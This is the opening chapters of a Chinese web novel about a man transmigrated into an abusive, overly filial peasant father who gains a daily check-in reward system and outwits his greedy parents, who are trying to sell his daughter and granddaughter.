《穿越成渣爹,开局得签到系统》
第1章 我,咋成渣爹了?
(脑子寄存处)
疼。
头好疼。
早知道昨天就不喝那么多了,这宿醉的感觉真是太难受了。
江河捂着脑袋缓缓的从床上坐起,后脑处传来的剧烈疼痛让他嘴角直抽抽儿。
刚想要起身去倒杯冰水来解解酒,却赫然发现自己的床头竟然跪了一大堆人。
更吓人的是,这些人个个都披麻戴孝,泪眼婆娑。
其中有几个瘦得只剩下一层皮包骨头的小家伙,哭得鼻涕泡都糊脸了,乍一看好像几个小骷髅在嘤嘤嘤,看着分外的吓人与恶心。
怪不得他刚刚在迷迷糊糊中好像听到有人在他的耳边鬼哭狼嚎,原来就是这些混蛋搞的鬼。
真是晦气啊,是哪个王八蛋请了这么多群众演员来恶心他,真当他江河是个没脾气的吗?
此时,这些人全都一脸呆愣甚至惊恐的直盯着他,身体也不自觉的向后倾着,仿佛是见鬼了一般。
这演技,这神态,还有那眼中打着圈儿晶莹莹的眼泪珠儿,以及脸上都糊了脸还舍不得擦掉的鼻涕泡,实在是太特么敬业了!
江河如果是评委的话,肯定能给这些人全打一百分二十分。
只是现在,这些人演得越好,江河就越是觉得晦气难挡,谁家好**清早的穿着孝衣跑别人家里来哭丧啊!
还有那几个瘦得跟骷髅一样的孩子,确实是**吗?
现在都什么时代了,东大早就已经全民脱贫了,怎么可能还会有人被饿成这个鬼样子,当这是非洲么?
“你们……”
江河刚想要开口骂人,对面的这群孝子贤孙却先开了口。
“爹,你……你没死?!”
“呜呜~!!爷爷没死,咱们家的粮食又要保不住了!”
“公公,求你了,给我们留一条活路吧,那些粮食是咱家最后一点的救命粮了,真的不能再拿给老宅了!”
“……”
见江河醒来,跪在床前的这些孝子贤孙表情各异,有震惊,有意外,有恐慌,有不安,却唯独没有一个是高兴的。
确定江河没死之后,一个个都带着哭腔哀声乞求起来。
看这架势,这些人似乎都巴不得江河是真的**才好。
而江河,也被这一声声的“爹”、“爷爷”以及“公公”之类的称呼给整懵了。
他才三十六岁,钻石王老五一个,连婚都还没结呢,哪来这么多孝子贤孙,怎么就当爹、当爷爷甚至当公爹了?
这些人还特么演上瘾了是吧?
江河心中气恼,刚想要开口说点什么,脑子里面就跟**了一样突然涌现出了海量的陌生记忆,疼得他脑子一抽,直接晕倒了过去。
床头的孝子贤孙又被吓了一跳,彼此对视了一眼之后,最后由老三**大着胆子上前探起了江河的鼻息。
“还有气,爹没死……应该只是晕过去了,唉。”
**有气无力轻叹了口气,转身向身后众人说道,眉眼之中难掩失望之态。
昨夜他亲自探过的,明明已经没气了,怎么突然又活过来了呢?
“哇~!阿爷没死,是不是就要卖娴儿了?娘,我不要离开你,不要去给别人当童养媳!”
听到**的话,才年仅六岁的江家长孙女江娴,突然控制不住抱着身边的阿娘大哭起来。
哭声之悲切,可比她刚刚哭爷爷的时候卖力多了。
长媳赵穗用力的抱着女儿,也跟着低声抽泣。
“既然爹没死,那我就不伺候了,家里有好几张嘴要养,我要回城上工了!”
老二江天嫌弃的将身上的孝衣、孝帽全都脱下,带着一双儿女,径直出门。
走到门口的时候,江天冷声说道:“以后没事儿少来县里寻我,等什么时候爹真的**,派人去知会我一声就好,我自会回来为他送终。”
说完,江天便扯着儿子女儿头也不回的直接离开。
“二哥~!”
“二哥,你真的不管我们了吗?”
老四江源还有小妹江沫儿不舍的哭着在后面呼喊,可是江天的脚步却半点儿也没有停留。
“算了,老四、小妹你们别喊了,二哥在城里给人当伙计,每天低声下气的伺候人,日子也不好过,咱们还是别连累他了!”
老三**摆了下手,止住了老四与小妹的叫喊,眼中没有半点儿对二哥的抱怨与不满,反而还有一点点的羡慕与理解。
摊上这样一个混账渣爹,谁不想躲得远远的?他也想走,只是他没有二哥那样的机会与勇气罢了。
**缓缓站起身来,先是看了一眼昏睡不醒的老爹,然后又回头看了一眼仍跪在地上的众人,叹声道:
“行了,都别再跪着了,爹没有死,这是好事,赶快把身上的这身麻衣扒下来,看着怪晦气的!”
众人闻言,连忙从地上站起身来,把穿在身上的孝衣麻服全都脱了干净。
砰~!
这时,院外的大门突然被人一脚踹开,然后他们就听到了这辈子最不想听到的声音。
“我的儿啊,你咋就这么狠心,撇下爹娘先走了呢!”
“你这一走,可让苦命的爹娘以后咋活啊……”
两个头发半白的老夫妇哭嚎着快步走向堂屋,眼中没有丝毫悲切之意,一边走一边在院子里偷偷四下踅摸。
他们的身后,跟着老二江洋两口子,相比于老夫妇假模假样的哭嚎,江洋夫妇甚至连演都没有演就走了进来,脸上隐约还能看到一丝笑意。
走到堂屋门前,看了一眼躺在床上一动不动的江河,**夫妇眼中闪现出一丝嫌弃与晦气,脚步一顿,死活不愿再向前一步。
“爷爷,奶奶,二叔,二婶……”
**缩着脖子出来迎接,躬着身想要请几人进屋,只是不等他把话说完,就被奶奶王三妮给打断:
“不孝的东西,你爹**你们竟然连孝衣都不穿,连哭都不哭一声,说出去也不怕四邻笑话!”
“真是有什么样的老子就有什么样的儿子,得亏老娘有先见之明,早早的就把你们这群白眼狼从老
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宅赶了出去,不然早晚会被你们给气死!”
**众人低着头不敢出言反驳,从小到大就是这样,爷爷奶奶怎么都看他们一家人不顺眼,一见面不是训斥就是打骂,他们早就已经习惯了。
“奶奶,我爹他其实并没有……”
啪~!
一个巴掌狠狠的落在了想要解释的**脸上,王老太一脸阴沉的厉声斥道:
“竟然还敢狡辩,真是没有规矩!”
“去,把你爹生前答应给我们的养老钱与养老粮拿出来,我们马上就带走,你们这群白眼狼,老娘是一刻也不想再看到了!”
**闻言,面色骤然一白,有些难以置信的抬头看向站在眼前的爷爷与奶奶,也终于明白了爷爷奶奶还有二叔两口子这次过来的真正目的。
这是来抢钱抢粮,来断他们活路来了啊!
“爷奶,你们不能这么做,我们家现在……”
“滚开,就知道你个小兔崽子不会舍得,我们自己来拿!”
**的话还没有说完,就被奶奶一把推开,然后就看到老头老太太领着二叔两口子直接闯到了他们储粮的东屋,把他们家仅剩下的那两个半袋粮食全都背了出来。
除了粮食之外,**还看到他们竟然把放在屋里的油罐、盐罐也给抱在了怀里,简直就跟强盗一样。
**罗灵夫妻、江源、江沫儿还有赵穗等人哭着喊着出来阻拦,却被老头老太太一脚一个给踹倒在地。
二叔见状,连忙摆手示意媳妇趁机扛着粮食就跑,片刻就不见了踪影。
老头老太太抢完粮食还不肯罢休,非要逼着**几人再拿出五百文钱的养老钱。
说这是江河生前答应过的,现在江河**,父债子偿,**、江源等儿孙必须得替江河把这些钱拿出来,不然的话他们以后就赖在家里不走了。
“爷奶,我们可从来都没听爹提过这事儿,你们是不是记错了?”
**满眼的委屈与不可置信,没想到爷奶竟这么狠,抢光了他们家仅剩的粮食不说,竟然还要逼他们拿出五百文钱。
谁不知道他们家一直都穷得叮当响,别说是五百文了,就算是五十文现在也拿不出来啊。
而且他也从来都没有听爹说过,除了粮食之外还要再给爷奶五百文钱啊,这该不是爷奶在故意难为他们吧?
他们爹就算是再混,也不可能拿家里没有的东西去孝敬爷奶啊。
“怎么没有,这可是你们爹亲口答应的!只要把江沫儿还有大丫这两个赔钱货卖了给人当童养媳,这钱不就来了吗?”
“**,你个小白眼狼不会是看你爹**想要赖账是吧?”
“哎哟,真是没天理了,我怎么这么命苦,就摊上了你们这群不孝子孙啊!街坊四邻快来看看啊,我们**家出了不孝子,出了忤逆孙了啊!”
“……”
说到最后,老太太直接坐在地上撒起泼来,高亢宏亮的声音直接把左邻右舍全都吸引了过来,围在院门前指指点点的看着热闹。
第2章 签到系统
“这个王老太又来作妖了!”
“江河那个拎不清的都已经**,他们竟然还不放过,真是……啧啧啧……”
“是啊,整个下河村谁不知道,江河虽然混账了些,可是却从来都没有忤逆过自己的爹娘,宁愿自己家人饿死,也要把家里的粮食送给老宅孝敬爹娘?”
“对对对,整个下河村可再也没有比江河还要孝顺的人了,可你们看看,这**家是怎么对他的,人才刚死,就过来闹腾,这不是想要让江河死不瞑目吗?”
“刚刚我可全都看到了,江洋两口子匆匆从江河家扛了两袋粮食回去了,你说说,这不是要把江河一家给逼死吗?”
“是啊,今年收成不好,交完税后江河家能剩下一百斤口粮就算谢天谢地了,现在全都被老宅抢走,剩下那一大家子可怎么活哟!”
“**头还有那个老虔婆真是不干人事儿,江河活着的时候就吸人家的血,现在**也不给江河的后人留活路,真是太过分了!”
“……”
邻居们站在院外对江家人指指点点,看向江老头江老太的目光之中满是鄙夷与不屑。
不过这时候却没有一人愿意站出来替**一家说句公道话。
没办法,谁让江河以前太过混仗,把村里人几乎全都得罪光了呢。
在他们看来,不管是江河也好,江老头夫妇也罢,全都不是什么好东西,这个时候可没有谁想要招惹他们。
院子里,闹了一通之后,见街坊四邻全都对**一家指指点点,江老太眼中满是得意,她就是要让**这些不孝孙背上一个不孝的骂名,看他们以后还敢不敢再忤逆她。
“罢了罢了,既然你们拿不出钱来,老娘我自己来想办法!”
“老二,你这就带上江沫儿、江娴这两个赔钱货走,老娘已经给她们找好了人家,今天就给人送过去!”
自以为占理的江老太从地上爬起来,指使着抢完粮又折返回来二儿子江洋,就要去强行把江沫儿、江娴两个丫头带走。
江沫儿吓得直接躲在了二哥**的身后,江娴更哭着躲在赵穗的怀里,浑身发抖,颤声哀求:“娘,不要送我走,我不要离开娘!”
“不行,你们不能把小妹还有娴儿带走,我不同意!”
**突然张开双臂拦在了江洋的身前,不允许江洋把两个丫带走,结果却**洋一个大嘴巴给扇倒在地。
“混账东西,**家什么时候轮到你来做主了?!”
“今天这两个赔钱货我们卖定了,这是你爹生前答应过给你们爷奶的养老钱,就算是他**,这钱也要如数拿出来!”
江洋恶狠狠的扫了**等人一眼,如狼入羊群一般走上前,强行把还在哭着的江沫儿、江娴二人拎了出来。
老四江源、长媳赵穗以及三媳罗灵等人见状,连忙大哭大叫着上前阻拦,全都**洋给踹倒在了一边。
“够了!吵什么吵,全都给老子闭嘴!”
就在这时,晕睡过去的江河被外面的哭闹声吵醒,极不耐烦的冲着外面暴吼了一句。
他刚刚把脑子里面的记忆接收完毕,精神状态多少受到了原主的部分影响,整个人都变得暴躁了许多。
外面的人,尤其是江老头江老太等人,听到这熟悉的暴喝声,吓得全都一个激灵。
当他们抬头看到江河穿着寿衣从堂屋走出来的时候,更是直接吓得双腿发软,扑通一下就瘫坐在了地上。
“诈尸啦!”
江洋高呼一声,再顾不得手里拎着的两个丫头,拔腿就跑,连瘫在地上的爹娘都不管了。
围在院子外面看热闹的四邻看了,也忍不住心头一阵发颤,胆小的直接回家闭门,不敢冒头。
几个胆大虽然双腿直打颤,却仍大着胆子站在原地继续看热闹。
直言冤有头债有主,江河这是见家人被欺负,死不瞑目,从下面上来给子孙们出头来了。
他们又没有欺负江家人,自然不怕会**河给惦记上。
当然,更重要的是,现在可是大白天啊,东边的太阳已经高高升起,他们也不太相信这是什么诈尸还魂。
多半是江源根本就没有死透,经过一夜的休整后,又缓过劲儿活过来了。
“爹,爹你终于醒了,你快劝劝爷奶吧,不要让他们把小妹与娴儿带走卖掉,再怎么说她们也是咱们江家的血脉啊!”
“爹,不要卖我,我吃得很少的,我还能为家里干活,求你了不要卖我!”
“爷爷,不要卖娴儿,娴儿也可以干活,也可以少吃东西,求你不要卖娴儿!”
见江河捂着头从屋里出来,**、罗灵、江源、江沫儿及赵穗几人全都哭着围了上来,满眼的哀求与期盼。
尤其是江沫儿与江娴这两个瘦得皮包骨的小丫头,哭得更是凄惨悲切。
“吵**,全都给老子闭嘴!”
江河被吵得脑仁儿疼,习惯性的一声暴喝,把所有人的哭诉声全都止住。
“老三,你来说,到底是怎么回事,谁要卖老子的女儿与孙女儿,不想活了?!”
江河一脸凶戾的直盯着**,厉声向他询问。
都十八岁了,媳妇儿孩子都有了,遇事就知道哭,跟个娘们儿一样,真让人瞧不上眼啊,难怪一直不得“他”这个渣爹的喜欢。
**被老爹盯得心头一颤,抬手擦了一把脸上的眼泪,道:
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“是爷奶还有二叔,他们说爹欠了爷奶的养老钱,要把小妹、娴儿拉出去卖钱抵债!”
江河一怔,原来是原主的爹娘啊。
那就难怪了,这么丧良心与没底线的事情,也就他们能做得出来了。
吸收完原主的记忆之后,江河对这具身体的爹娘及过往种种自然并不陌生。
原主愚孝,不管做什么事情,都会毫无底线的听从父母的安排。
明明已经分家单过了,还是跟舔狗一样的把家里能拿的东西全都送到老宅,分毫也不顾及自家小窝里饿得面黄肌瘦的孩子与孙子。
哦,还有,原主的口头禅似乎是“天下无不是之父母”、“百善孝为先,百孝顺在前”。
活了三十六年,这小子几乎都在为父母而活,对自己家里人却不管不顾,哪怕是老婆累死,儿孙饿得皮包骨头,也挡不住他把家里的钱粮不断往老宅去送。
就像这一次,他为了把家里仅剩的百斤口粮送回老宅孝敬父母,竟对三儿子大打出手,结果一个用力过猛闪了老腰,摔倒时不小心磕到后脑,这才**河给鸠占鹊巢,穿越代替。
孝顺是美德不假,可那也要看你孝顺的对象值不值得啊。
似江老头江老太这样贪得无厌且黑了心肠的缺德父母,**才跟他们掏心掏肺呢!
就在江河整理脑中的记忆与思绪时,耳边突然传来了一连串清脆的机械女声:
“叮,恭喜宿主获得【美好生活】签到系统!”
“叮,签到地点刷新成功,签到地——下河村,江宅!”
“叮,检测到宿主首次激活签到系统,触发新人福利暴击,此次签到宿主将获得五倍签到奖励,是否签到?”
江河心头一动,这不是他以前玩过的那款名为【美好生活】游戏中的签到系统吗,没想到竟然也跟他一块穿越过来了。
没有半点儿犹豫,江河直接在心中默念了一句:“签到!”
“叮!恭喜宿主签到成功,获得铜钱50文*5,五常大米20斤*5,新鲜鸡蛋20枚*5,五花肉5斤*5!”
刷!
就在系统声音响起的刹那,江河就感觉到自己的识海之中突然多出了一个足有百格空间的物品栏,刚刚签到所奖励的那些物品,一个不少的全都安放在了这个物品栏中。
也是在瞬息之间,江河就知晓了这个物品栏的使用方法,只要他愿意,随便一道意念就可以将这些东西从物品栏中的方格里面取出来。
更重要的是,物品栏内的时间静止,存放在里面的同类东西可以无限叠加,只要他不取出来,里面的东西哪怕是放上十年百年,也不会有半点儿**变质。
第3章 给我跪下
江河心头一阵狂喜。
刚刚接收了原主的全部记忆,知晓了自己现在穷得都快要揭不开锅的残破窘境之后,他想再死一次的心都有了。
万没想到,现在却峰回路转,直接激活了签到系统。
虽然签到奖励的东西并不是很多,但是贵在实用,有钱有粮还有肉,直接解决了他的燃眉之急啊有木有!
更重要的是,这并不是一锤子的买卖,而是每天都有,足以让他在这个糟糕而陌生的世界站稳脚跟了。
“老头子你看,他有影子,不是鬼!脸上也有血色,不像是**!”
“你看你看,他还笑了,这副傻样子真是让人看着就来气!”
“哼,竟然敢装死吓唬自己的老爹老娘,真是太不孝顺了!”
江老头江老太老两口看到江河不似诈尸,胆子一下又大了起来,相互搀扶着从地上站起身来,试探着朝江河这边走来。
看到江河像是正常人一样呼吸说话,越发确定这小崽子之前是在装死,是在故意吓唬他们,心中的怒意不禁快速升腾。
“好你个不孝子,竟然敢装死吓唬爹娘,你个挨千刀的兔崽子,是想要吓死自己的老爹老娘吗?”
“还不快来给我跪下,看我不请家法打死你个不孝的东西!”
老太太瞬时又恢复了往常嚣张跋扈的样子,一跳三尺高,颐指气使的指着江河,要江河乖乖的过来给他们跪下认错。
以往不管是不是江河犯了错,他们只要这般开口训斥,江河都会乖乖的跪在他们跟前,任由他们抽打喝骂,从不敢有半点儿忤逆。
这一次江河竟然敢装死欺骗他们,在老头老太太的眼中简直就是罪大恶极、罪不可赦,若是不趁机狠狠的惩戒一番,以后这小畜生还不得反了天去?
见老太太又使这招,正围在江河身边乞求的**、江源与赵穗等人全都忍不住身形一颤,眼中心中皆都泛起了一阵阵深深的绝望与无力之感。
因为这已经不是头一次了。
曾经有无数次,明明错不在他们的这边,可只要老头老太太使出这一招,他们的爹就会无条件的跪地认错,同时也会拉着他们一起跪下乞求爷奶的原谅。
现在,同样的情形再次发生,他们几乎已经可以预见,下一秒阿爹就会直接跪倒在地,主动磕头认错,把所有的罪过全都揽到他们的身上。
这一次,小妹与娴儿怕是真的要留不住了!
江沫儿与江娴自然也意识到了这些,彼此对视了一眼之后,全都不由自主的悲声痛哭起来。
**罗灵夫妻,老四江源还有大嫂赵穗几人闻声,也不由跟着抽泣起来,一时间,整个院子再次哭声一片。
正在查看签到空间的江河被身边的哭声惊醒,回头朝她们瞥了一眼,眼中尽是不愉之色。
怎么又哭起来了,这家人是属海绵的吗,怎么里面全都是水?
“够了,谁要是再哭一声,信不信我直接把他的狗腿打断!”
江河依着原主的脾气,恶狠狠的瞪了**几人一眼,同时也让几人的哭声瞬时止住,可怜巴巴的抬头望着他。
直到这时他们才发现,阿爹竟然没有像是以前那样,第一时间就滑跪到爷奶的跟前低头认错,反而还直挺挺的站在原地。
“逆子,老娘说的话你没听到吗,还不快过来给我跪好!”
江母显然也感觉到了不对,心中的火气更盛,没想到被他们拿捏了一辈子的大儿子,这次竟然变得不那么听话了。
这还怎么了得,必须得马上把这股邪气压下来,否则以后他们还怎么再骑在老大一家的脖子上作威作福?
江老头似乎也意识到了一这点,马上冷着脸向江河斥道:“老大,你这是想要**了不成?!”
“还不快过来给你娘跪下,莫要忘了爹之前的教导,百善孝为先,百孝顺在前啊!你若是不想成为那般不忠不孝被别人戳脊梁骨的忤逆不孝子,现在马上过来给你娘跪下,诚心磕头认错道歉!”
“只要你乖乖跪了,以后就还是我们的好大儿,爹和娘还会像以前那样疼你!”
听到眼前这对老不羞的话,江河忍不住翻了下白眼,心中也不禁泛起了一片恶心。
又是这套说辞,这两个老帮菜用这个套路PUA了原主半辈子,偏生原主还是个憨的愚的,就吃这一套。
为了一个孝子的名头,是非不分,黑白不明,什么事情都对父母百依百顺、死心塌地,哪怕是媳妇儿累死,儿女穷死饿死,也挡不住他往吸血鬼父母那里输血送物。
现在这两个老东西竟然还想要用同样的套路来忽悠他江河,简直就是在痴人说梦。
大学毕业后,在社会上拼搏闯荡了十几年的江河,早就已经百毒不侵,脸皮厚如城墙。
一直以来,他都信奉“只要我没道德,谁都别想用道德**我”这句至理名言,对付这种不要脸的东西,他贼有经验。
“爹娘,我昨天不小心摔倒昏**过去,头疼得厉害,应该是作下病了,你们能不能先借我几百文钱,到县里去找医师瞧看瞧看?”
江河
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一秒入戏,突然捂着头半蹲在地上,装作一副虚弱痛苦的样子,开口就朝江父江母借钱看病,仿佛根本就没有听到刚刚老头老太太让他跪下领家法的言语。
“借钱?你找我们借什么钱?!”
老太太一个激灵后退了一步,满眼警惕与嫌弃的看着江河道:
“你可别忘了,早在二十年前,你就已经从老宅分出去了,现在还伸手朝我们要钱,你还有没有脸了?”
“就是啊老大,我和你娘手里哪有什么钱?”**头也果断的开口拒绝道:“我们现在都还靠着你二弟一家养着呢,别说是大几百文,就算是几文钱也没有啊!”
“况且我看你这也没什么事儿,躺在家里挺一挺说不定就好了,没必要瞎折腾浪费钱!”
江河轻撇了撇嘴。
果然,这两个老东西都是属貔貅的,哪里会舍得把钱拿给他来看病?
“爹娘,你们可是我的亲爹亲娘啊,总不能见死不救,让我疼死在家里吧?”
江河演技上头,带着哭腔扯着嗓子向江老头二人乞求道:
“算我求你们了,爹娘,没有几百文,几十文也行啊,这些年我可没有少孝敬你们,你们手里总不能连几十文钱都没有留下吧?”
江老头没说话,江老太一口回绝:“没钱,我们一文钱也没有!你孝敬给我们的那些钱和东西,早就已经被我们花光用光了,一文钱也没有剩下!”
“你个讨债鬼不想着赚钱孝敬我们,竟然还反过来想要拿我们的钱,还有没有良心了!”
“不过……你想要钱的话也不是没有办法,把江沫儿、江娴两个赔钱货交给我带走,明天我就能带回来一百文,足够你去县城看病了!”
直到这时,江老太也都还没有放弃要把江沫儿、江娴两个小丫头卖了的打算。
两个丫头见老太太又盯上了她们,吓得身子直颤,一个劲儿的往人后缩。
江河见状,目光不由一冷,连自己的亲孙女与重孙女都能狠心卖掉的人,能是什么好东西?
若是老宅真的穷得连一文钱都拿不出来也就罢了,可是江河心里却很清楚,这些年仅是他一人往老宅送去的钱和粮食就价值十数贯之多。
若是再加上老宅自己日常的收成积蓄,老头老太太手里的余钱必然是极为丰厚。
可即便是如此,他们也从来都没有想过要拿出来救济一下他这个大儿子,甚至还逼着大儿子去卖女卖孙女换钱。
这特么是人能做出来的事情?
心都黑成墨汁了啊!
第4章 吃他们一辈子
“不行!”
江河果断开口拒绝,红着脸,梗着脖子,一副似受到了极大羞辱的不忿模样,高声叫嚷道:
“我江河虽然没什么本事,可也是茅房拉屎脸朝外的汉子,就算是穷死饿死病死,也绝对不会干卖儿卖儿的勾当,我丢不起那个人!”
“爹娘,沫儿、娴儿可是你们的亲孙女、亲重孙女儿,你们怎能忍心将她们卖予外人?!”
“好,就算是你们不在乎这两个丫头,觉得她们是赔钱货,可你们也总得为江贤、江达考虑一下吧?”
“他们一个是秀才,一个是童生,将来可都是要做大官的人。
尤其是江贤,今年还要参加科考应举,若是让他的同窗或是县学的先生们知晓,他的爷奶与父母不管生病的族伯,甚至还要卖族伯膝下的子嗣敛聚钱财,贤儿的名声可就全都毁了啊!”
江河知道江老头夫妇最看重的就是老二家的两个读书苗子,一心指望着江贤与江达能够科考高中,光耀门楣,所以便专挑这种戳心窝子的话来吓唬他们。
果然。
一听到他们今日的行为,有可能会影响到两个宝贝孙子的名望与声誉,夫妇二人脸上的神色骤变,明显都打了退堂鼓。
“这不能吧?”江老太有些不信的道:“老大你早就已经从老宅分出去了,咱们如今可是两家人,你卖儿卖女关老二家什么事,这怎么能影响到贤儿与达儿的声誉呢?”
江河接声道:“娘,话可不是这么说的。这一笔可写不出两个江字,我们就算是分了家,可毕竟是血脉至亲,是同族同宗的亲兄弟、亲叔伯。
除非是咱们签订了断亲文书,否则我那两个大侄子这辈子都不能不认我这个亲大伯!”
“爹娘,你们以前不也常说,等江贤、江达以后出息了,必然会像孝敬二弟两口子一样孝敬我这个大伯吗,为此这些年我可没少偷偷给他们送钱送东西,又怎么能忍心坏了两个大侄子的名声呢!”
“爹娘,我的命不值钱,沫儿与娴儿更比不得江贤与江达金贵,可今日你们若是不拿几百文钱给我医病,我为了活下去,说不得就要到县府的学堂里去讨个说法了!”
“你敢!”
江老太瞬时瞪起了一双牛眼,恶狠狠的直盯着江河:
“小兔崽子,你若是敢坏了我两个金孙的名声,影响了他们的前程,看老娘不打死你!”
江河分毫没有被老太太吓到,露出了一个混不吝的神色,淡声道:
“我有什么不敢的,我一个快要病死的人,为了活下去什么事情都能做得出来!”
“今天爹娘若是不拿钱出来给我医病,明天我就让老三两口子拉着我到县学门前去挺尸,我可是江贤的亲大伯,我就不信他敢不管我!”
“我还不怕告诉爹娘,像是江贤江达这么有出息的大侄子,我吃定了,而且还要吃他们一辈子!”
原主本身就是一个好吃懒做、不学无术的二赖子,平时在村里打架斗殴、偷鸡摸狗、夜踹寡妇门之类的事情,更是常有发生。
不然的话,当年也不会刚刚成婚,就**老头夫妇给强行分家赶出了老宅。
只是这些年原主虽然混账,可对江老头夫妇一直都极为孝顺,对他们的话更是言听计从,不敢有丝毫违背与忤逆。
这也使得江老头儿江老太,都已经完全忽略了自己这个大儿子混不吝的本性。
现在见江河突然变得这般忤逆与难缠,江老头与江老太的眼中都不自觉的闪现了一丝陌生与慌乱。
江河这狗东西虽然没出息,也不务正业,整日里在村子里胡混,可是却生得人高马大,身体也极为健硕,在村里跟人打架从来都没有输过。
江老头江老太之所以敢对江河以及江河儿女这般苛责与压榨,所依仗的就是江河对他们死心塌地的愚孝与言听计从的恭顺态度。
可是现在,向来对他们温驯如猫的大儿子,突然间变得不再那么恭顺与听话了,甚至还有了想要反噬背刺他们的苗头,这让他们如何不心慌意乱?
难道这小子真的是病得要**,这才一改往日的恭顺本性,不再听他们的话了?
生死之间有太恐怖,江老头江老太平时就是极怕死的人,自然也以为江河这个不孝子就是因为
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怕死才会突然间一改常态。
只是想要让他们出钱给大儿子看病,那却是万万不能的。
他们的钱可都是要攒着以后养老和给两个金孙娶妻生子用的,怎么能浪费在老大这个白眼狼的身上呢?
“断亲!必须得断亲!”
想到江河刚刚提到的断亲文书,江老太瞬间眼前一亮,仿佛是在绝境之中突然抓到了救命稻草一般,高声嚷嚷道:
“你这个不孝子竟敢大逆不道的威胁父母双亲,甚至还想要坏我两个金孙的功名前程,我**家岂还能再容得下你!”
“我这就去找族长与里正,自今日起与你江河一家彻底断亲,以后生死各安天命,谁也别想攀附谁!”
说着,老太太就飞快的转身出门,去叫**的族长与村中的里正了。
**头闻言,竟然也跟着点头,觉着老婆子这话简直说到他的心眼儿里去了。
既然这个白眼狼大儿子不再像以前那般听话了,那他们还要他做什么?
早点儿做个了断,省得以后这个不孝子会赖上他们一大家子。
江河见状,眼中流露出了一丝阴谋得逞的笑意,不过他口中还是高声叫嚷道:
“不行,我不同意断亲!除非你们把我这些年拿给你们的那些东西全都还回来!”
“爹娘,我可是你们的长子啊,你们怎么忍心与我彻底断绝关系,我以后可还指望着两个大侄子给我养老送终的啊!”
江河大声吵闹,死活都不同意断亲。
而这却更加坚定了江老头与江老太与他断亲的心思,江老太的两条小短腿跑得更快了。
听听这个白眼狼说的是什么话?
竟然还想着要把这些年孝敬给他们老两口的东西给要回去,甚至还指望着让他们的两个金孙给他养老送终?
做他的白日大梦去吧!
进了他们老宅的东西怎么可能会再往外拿?
还有,他们两个金孙以后真要是出息了,当了大官,自然是要来孝敬他们老两口的,跟这个白眼狼有个屁的关系?
所以,今天这个亲,不断得也得断,可由不得这个白眼狼!
第5章 断亲书,一刀两断
宣朝素来以孝治国,父母长辈对膝下的子女有着先天的压制权利。
就如这断亲文书,若是由江河这个做儿子的来开口,那就是忤逆长辈,是大不孝,是要在背后被人戳脊梁骨的。
而且,不管是族长还是里正,也都不会同意他的断亲请求,甚至还有可能会请家法或是直接报官来惩戒他这个不孝子。
到时候,他就算是不死,也得直接脱层皮。
但是,如果开口提出断亲之人是他的父母,那就完全不一样了。
虽然他最后同样会落得一个不孝的名声,但是族长与里正却不会再过多干涉,甚至还会很配合的协助他们签下断亲文书。
听上去似乎有些不公平,可在这个以孝治天下的封建王朝,却是再正常不过。
“爹,你不能让娘这么做,这是要把我往死路上逼啊!”
“无论如何,我是绝对不会签这个断亲文书的,我还想一直孝敬您二老,也指望着以后让两个出息的大侄子给我养老呢!”
“……”
趁着老太太去请族长与里正的工夫,江河也没闲着,继续在江老头的跟前抱着屈不断哀求,直言自己死活也不会签什么断亲文书。
演着演着,连他自己都快要被感动了,眼泪鼻涕都有些控制不住想要喷涌而出。
江老头始终冷着一张脸,懒得搭理他。
江河哭得越凶,叫得越委屈,反倒是更加坚定了他与这个白眼狼彻底断亲的决心。
想要赖上他的两个金孙,骑在他两个金孙的身上吸血,这个白眼狼是在做梦呢!
况且,签不签断亲文书,可是由他们老两口说了算,江河这白眼狼就算是不同意,也是白搭。
就如当年分家一样,这小子也是在老宅门前哭闹了半天,死活不愿被分出去,可最后呢,还不是乖乖的抱着铺盖离开了老宅?
这些年江河对老宅言听计从,对他们老两口死心塌地的是为什么,还不是想要有朝一日能够重归宅门,得到他们老两口的认可?
如若不是出了今日这般变故,让老大露出了本性,**头都还不知道这个不孝子心里竟然还包藏着这样恶毒的算计。
为了他的两个金孙以后不被这个无赖大伯给缠上,今天就算是说破了天去,他也要跟这个不孝子彻底断亲!
想到这里,再听到江河的叫嚷声,江老头的脸色愈发阴沉,他狠狠剜了江河一眼,啐道:
“呸!你个不孝的东西,还敢惦记这些?你给爹娘的东西那就是我们的!还想让你侄子给你养老?你也不撒泡尿照照自己配不配!
断!必须断!今天不断了这个亲,老子心里不踏实!”
江河心里乐开了花,面上却是一副如丧考妣、捶胸顿足的绝望模样,他瘫坐在地上,扯着嗓子干嚎:
“爹啊!娘啊!你们好狠的心啊!儿子病了你们不管,还要跟儿子彻底断亲,这是要逼死我啊!我活着还有什么意思啊……”
他一边嚎,一边偷偷留意着门外,计算着老太太该带着人回来了。
大半个庄子的村民早已被这边的动静吸引,聚在院外围观,指指点点,议论纷纷。
大多是说**头夫妇太过刻薄,大儿子病成这样不说帮衬,还要断亲,实在凉薄。
也有人觉得江河这是自作自受,以前太愚孝,现在被逼急了才反抗,可惜晚了。
更有人直言这是江河活该,恶人自有恶人磨,谁让这家伙在村里不干人事儿,混账至极,这都是他的报应……
这些议论声隐隐传来,让江老头脸上有些挂不住,但他铁了心,只是闷头抽着手中的旱烟,不再看江河。
不多时,江老太果然领着**族长和村里的里正气喘吁吁地来了。
族长王德顺,是个须发皆白的老者,拄着拐杖,面色严肃。
里正王冶山,是个中年汉子,比江河大不了几岁,但是在村里的辈份很高,纵使江河见了也得喊上一声治山叔。
此时王冶山眉头紧皱,眼角泛着不悦之色,显然对**家这摊子烂事很头疼很不耐烦。
“怎么回事?闹哄哄的成何体统!”老族长一进门,就用拐杖顿了顿地,沉声喝道。
见观众到得差不多了,江老太马上开始了她的表演,扑通一声就坐到了地上,一把鼻涕一把泪地指着江河哭诉起来:
“族长啊,里正啊,你们可要给我们老两口做主啊!
江河这个不孝子,他病了不想着自个儿挺过去,反倒来朝我们老两口要钱,我们没钱他就要去坏了他两个侄子的前程啊!
这样的祸害,我们**家可不敢再要了,今天必须断亲,以后他是死是活,都跟我们**家没有关系!”
里正王治山微皱了皱眉头,王三妮是什么货色他最清楚不过,若不是看在同宗的面上,他都懒得管这种破事儿。
“江河,父母的养育之恩大过天,再怎么着,你也不能把自己的父母给气得要跟你断亲啊!”
王治山没管事情的前因后果如何,习惯性的先批评了江河两句,然后语气和缓下来,轻声劝道:
“听我的,你过来跟你爹娘道个歉,认个错,保证以后再也不忤逆爹娘了,今天这事儿就这么过去了,好不好?”
这个王治山,倒是活得一手好稀泥。
若是以前的江河或许还真就借坡下驴,低头认错了。
但是现在他,可不是江河那个是非不分的愚孝之人,怎么可能会再任人摆布拿捏?
